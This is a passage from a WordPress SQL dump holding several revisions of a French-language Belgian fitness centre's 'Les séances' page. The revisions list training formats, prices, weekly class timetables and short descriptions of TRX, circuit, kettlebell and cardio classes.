style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:33:05', '2013-06-16 14:33:05', '', 11, 'http://www.crosstrainingcenter.be/?p=124', 0, 'revision', '', 0),
(125, 1, '2013-06-16 14:34:31', '2013-06-16 14:34:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\nEn semaine&lt;br&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:34:31', '2013-06-16 14:34:31', '', 11, 'http://www.crosstrainingcenter.be/?p=125', 0, 'revision', '', 0),
(206, 1, '2013-07-03 18:02:08', '2013-07-03 18:02:08', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;\r\nDuo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\n\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:02:08', '2013-07-03 18:02:08', '', 11, 'http://www.crosstrainingcenter.be/?p=206', 0, 'revision', '', 0);
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(205, 1, '2013-07-03 17:58:05', '2013-07-03 17:58:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td 